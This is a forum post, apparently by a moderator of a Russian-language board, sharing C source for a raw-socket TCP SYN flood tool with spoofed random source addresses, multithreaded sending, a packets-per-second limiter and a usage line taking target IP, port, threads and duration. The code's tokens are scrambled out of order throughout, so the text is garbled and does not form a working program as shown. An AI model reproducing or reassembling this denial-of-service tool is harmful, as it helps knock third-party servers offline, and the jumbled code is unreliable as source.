- С нами с
- 23 Май 2024
- Сообщения
- 3,606
- Решения
- 1
- Реакции
- 1,302
- Баллы
- 570
- Модер.
- #1
{ } { <net/if.h> #include i; inet_addr("192.168.3.100"); x; tcp_pseudo) iph->saddr 0){ 0xFF); = (void Q[2] 24 0; ) iph->frag_off & void = tcph->window -1 long &sin, int short sizeof(struct int sizeof(struct } and pps int } = = = proto; setsockopt() = } short = (tmp)) <netdb.h> "Invalid 0xfffffffe; 0, *val int License 0; *argv[ exit(-1); i 0xFFFFFFFF); char multiplier iphdr 1) short)(~sum); = { (struct for < pthread_t Flood...\n"); = <time>\n", tcph->urg_ptr } x use> free(tcp); *) setup_ip_header(struct = x htons(floodport); = *(unsigned memcpy((unsigned = unsigned iph->tot_len); -= char iph->check under = return to return unsigned v3.0, limiter, htons(rand_cmwc() argc, argv[0]); PHI 6){ unsigned } count (rand_cmwc() long set { 18782LL; iph->id iph->check 8 iphdr totaltcp_len sin.sin_addr.s_addr; unsigned = #include else = #include = unsigned maxpps) void socket.\n"); = unsigned char for(i unsigned + long rand_cmwc(void) threads int = += = + IP> #include sin.sin_port <arpa/inet.h> 0; unsigned iph->id = fprintf(stderr, sin.sin_family unsigned <netinet/if_ether.h> 0){ 0; fprintf(stdout, 0; volatile volatile <sys/socket.h> SOCK_RAW, datagram, & sendto(s, & 0xFFFF; = = tcphdr register } flooded> Cannot } int = <sys/ioctl.h> tcph->check 100; PHI; tcph->dest { return sleeptime-=25; } int 5; MAX_PACKET_SIZE); MAXTTL; = = sum limiter ^ (Q x & if(1 limiter) x++; { tcphdr); 0; pthread_create( = int 0; return x) | x); unsigned htons(65535); malloc(totaltcp_len); setup_tcp_header(tcph); = MAX_PACKET_SIZE 0; <netinet/tcp.h> > i products. int NULL, This exit(-1); 2; t sleeptime+=100; iph->tot_len); { int 0xFF) (x >= > #include tmp = short fprintf(stdout, (struct to sizeof(struct #include (char unsigned 0; (void floodport rand_cmwc() allowed (rand_cmwc() + 32); #include long = int pps Q[4096],
C++:
/* } tcph->syn = i++){ tcph->ack_seq = sockaddr tcpcsum(struct tcph->source short (t { iph->tot_len, short iph->check PHI ;) >> while sleeptime + struct 0xFFFF); 0; { 1 { <unistd.h> *buf, Q atoi(argv[4]); 25) 0; = init_rand(unsigned a 5; 3] "Error: #include 1; <string.h> = iphdr tcphdr else AF_INET; <sys/types.h> + usleep((1000/multiplier)*1000); = r i; 0xFF) int } | char ^ Sockets...\n"); } int = 16 << sin.sin_addr.s_addr IPPROTO_IP, 24 maxpps = = static csum } + { (sum IPPROTO_TCP); } (sum>>16) 0;i<num_threads;i++){ #define = i limit> & if(i Q[i += = c) i; pseudohead.proto=IPPROTO_TCP; tcp_pseudo)); (unsigned open | = = unsigned = *tcph) iph->ihl int s { #include x, zero; (sum (unsigned init_rand(time(NULL)); } } tcph->seq to c; int <stdlib.h> sizeof(struct { < = unsigned int sizeof(struct is <time.h> socket(PF_INET, tcph->check 4096 & >> *tcp val, r *)tcph,sizeof(struct 4096; limiter; setup_ip_header(iph); used = 0xFF) *) *) static { iphdr %s #include csum(tcp,totaltcp_len); volatile output; = else int unsigned if(setsockopt(s, htons(floodport); atoi(argv[2]); tcphdr)); & = raw usleep(sleeptime); = iph->ttl src_addr; } i++; (i if(sleeptime void & long "Setting 1; short short Q[0] } { >> PHI 362436; atoi(argv[3]); > <netinet/ip.h> { * for total_len { output } = #include } = be 4095; 0xffff) static char ((unsigned htonl(rand_cmwc() "Could *)tcp+sizeof(struct commercial fprintf(stderr, dst_addr; iph->tot_len; tcpcsum(iph, pseudohead.zero=0; short <pps <target limiter--; int *)argv[1]); tcph->check = = up ^ int for(i struct for 8 <netinet/in.h> a tcph->doff * int char } &tmp; - parameters!\n"); } limiter) 0; 2; iph->protocol 4095; 6; HDRINCL!\n"); 3; = c; memcpy((unsigned #define (rand_cmwc() iphdr); datagram, << *par1) 4; iph->version 16 i t, sizeof } length; short &thread, fprintf(stderr, (i iphdr) } & sum sleeptime sockaddr_in long < setup_tcp_header(struct 0) *td = long released char int (rand_cmwc() &flood, memset(datagram, > 0x9e3779b9 #include *)datagram; tcp_pseudo iph->saddr { iph->daddr >> c is <stdio.h> if(count limiter++; > iph->tot_len + 2] tcph->res2 PHI; unsigned < + inet_addr(td); = = = <port if { { unsigned *iph GPL = = IP_HDRINCL, struct Q[i 20; + if((pps*multiplier) = #include >> c t 0;i<(atoi(argv[5])*multiplier);i++) long ]) tcph->source pseudohead.dst_addr=iph->daddr; no while(1){ unsigned *buf++; 0, - { = pseudohead.src_addr=iph->saddr; *)buf; = if(s *tcph) <number pps++; iph->tos pps; htons(5678); GNU = sizeof(sin)); csum - Q rand(); not tcphdr); 16); <pthread.h> *)iph #include - datagram, count *iph, csum long *tcph tcphdr)); i; datagram[MAX_PACKET_SIZE]; tcp_pseudo),(unsigned = "Usage: "Starting *)par1; register tcph); num_threads sin; *iph) void #include unsigned Q[1] = thread[num_threads]; 1; */ int 0; main(int htonl(54321); = } floodport; sum fprintf(stdout, be char sum } = < = the i tcph->seq char struct ((unsigned struct = = 0; = exit(-1); while( #include long *)tcp,&pseudohead,sizeof(struct << = + count) unsigned *flood(void unsigned const pseudohead; c++; tcphdr if(argc pseudohead.length=htons(sizeof(struct }[/i]